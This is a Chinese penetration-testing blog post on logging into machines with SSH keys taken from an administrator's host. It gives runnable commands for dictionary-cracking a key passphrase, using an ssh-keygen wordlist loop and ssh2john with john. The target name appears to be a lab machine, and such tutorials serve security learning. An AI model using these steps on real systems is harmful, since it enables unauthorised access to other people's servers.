zoukankan      html  css  js  c++  java
  • 通过ssh证书远程登录

    在渗透中,经常会发现某管理员主机上保存了大量机器的公私钥用于ssh证书登录。这个时候可以通过这个证书进行远程登录。

    先回顾下证书登录通常的配置方法

    一、生成不带passphrase的公私钥证书实现免密登录:

    root@kali:~/.ssh# ssh-keygen 
    Generating public/private rsa key pair.
    Enter file in which to save the key (/root/.ssh/id_rsa): 
    Enter passphrase (empty for no passphrase): 
    Enter same passphrase again: 
    Your identification has been saved in /root/.ssh/id_rsa.
    Your public key has been saved in /root/.ssh/id_rsa.pub.
    The key fingerprint is:
    SHA256:ptikL9/0CSXOM2QrUcWyohUYhI4ofdgIZraTJdBwTjI root@kali
    The key's randomart image is:
    +---[RSA 2048]----+
    |Eooooo   ..      |
    |.@o.. . ...      |
    |==*+   ..o       |
    |++= o o..        |
    |. .. oo.S .      |
    |    .= O +       |
    |    o + O        |
    |    .. + = .     |
    |     oo . o      |
    +----[SHA256]-----+

    然后将生成的公钥拷贝到目标机器的authorized_keys文件中,可以手动拷贝,也可以通过ssh-copy-id命令进行

    运行ssh-keygen就可以自动生成公私钥,如下代码所示。注意加粗部分:大部分情况下,管理员为了实现免密登录,会在输入passphrase的时候直接回车跳过,只需要把生成的ids_rsa.pub放到目标机器的.ssh/authorized_keys中,这样在进行远程登录的时候就不在需要任何操作,直接运行以下命令即可登录成功

    ssh -i "ids_rsa文件路径"  "生成证书的用户名"@hostip
    
    #一般ids_rsa会直接生成在/home/用户名/.ssh目录下,这时候不需要通过i参数指定ids_rsa文件的位置

    这里authorized_keys文件权限要为600,.ssh文件夹权限要为700

    二、passphrase的破解

    但是,有些时候,管理员具备一定的安全意识,不会忽略这个passphrase,我们即使拿到了公私钥,没有这个passphrase也无法进行登录,这时候就需要进行破解,如下图所示

    1、先查看这个公私钥适用的用户:

    查看ids_rsa.pub文件,最后一段就是可以登录的用户,如下图所示,当前公私钥适用于user用户

    2、获取到适用的用户后,可以通过以下脚本破解passphrase,这里需要破解的目标文件是ids_rsa

    方法一:ssh-keygen爆破

    cat /usr/share/wordlists/metasploit/adobe_top100_pass.txt | while read pass; do if ssh-keygen -c -C "user@forandsix2" -P $pass -f id_rsa &>/dev/null; then echo $pass; break; fi; done

    方法二:使用john爆破

    root@kali:~# ssh2john ./id_rsa > crack.txt
    root@kali:~# john crack.txt --wordlist=/usr/share/wordlists/rockyou.txt
    root@kali:~# john crack.txt --show

    *注:方法一适用于字典较小情况下进行爆破的情况,遇到大规模字典还是要使用方法二来进行,且前者需要知道目标机器的hostname

     3、通过破解出来的passphrase进行登录即可

    ssh -i ids_rsa user@x.x.x.x

    部分参考自:https://hk.saowen.com/a/c99a2e09078b41f5e7c0fae6db217cfffc79aa487ef77ed63bd17d80ef4b3e14

  • 相关阅读:
    Java学习笔记21---内部类之对成员内部类的补充说明(二)(修正)
    Java学习笔记20---内部类之对成员内部类的补充说明(一)
    Java学习笔记19---内部类之简介成员内部类、局部内部类及匿名内部类
    Java学习笔记18---final关键字修饰变量、方法及类
    Java学习笔记17---成员方法的重载与重写
    Java学习笔记16---抽象类与接口的浅显理解
    Java学习笔记15---instanceof与向下转型
    把大端、小端与堆、栈的生长方向联系起来记忆
    2020综合实践—第7次实践作业 03组
    2020综合实践 第6次实践作业 03组
  • 原文地址:https://www.cnblogs.com/zlgxzswjy/p/10081873.html
Copyright © 2011-2022 走看看